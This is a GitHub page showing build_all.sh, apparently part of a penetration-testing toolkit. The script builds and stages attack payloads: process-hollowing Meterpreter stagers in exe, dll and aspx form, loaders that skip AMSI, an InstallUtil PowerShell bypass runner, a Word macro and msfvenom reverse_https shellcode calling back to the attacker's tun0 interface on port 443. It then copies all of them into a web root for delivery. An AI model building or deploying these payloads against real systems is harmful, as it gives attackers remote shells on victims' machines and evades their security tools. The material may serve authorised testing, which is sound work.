-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbuild_all.sh
More file actions
executable file
·26 lines (22 loc) · 1004 Bytes
/
build_all.sh
File metadata and controls
executable file
·26 lines (22 loc) · 1004 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
set -ex
WEBDIR=`grep webroot config.yaml | awk '{print $2}'`
python3 generate_win_msf_stager.py --injection hollow --format exe
python3 generate_win_msf_stager.py --injection hollow --format dll
python3 generate_win_msf_stager.py --injection hollow --format aspx
python3 generate_tool_loader.py --no-amsi metdll > run.txt
python3 generate_tool_loader.py --no-amsi metexe >> run.txt
python3 generate_win_installutil_ps_runner.py
python3 generate_msf_linux_exe.py
python3 generate_winword_macro.py
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f raw -o sc
msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f raw -o sc32
sudo mv win_msf_stager.dll ${WEBDIR}/met.dll
sudo mv win_msf_stager.exe ${WEBDIR}/met.exe
sudo mv run.txt ${WEBDIR}/run.txt
sudo mv win_installutil_ps_runner.txt ${WEBDIR}/Bypass.txt
sudo mv msf-linux-x64 ${WEBDIR}/
sudo mv output_efs.txt ${WEBDIR}/efs.txt
sudo mv sc ${WEBDIR}/sc
sudo mv sc32 ${WEBDIR}/sc32
./build_utils.sh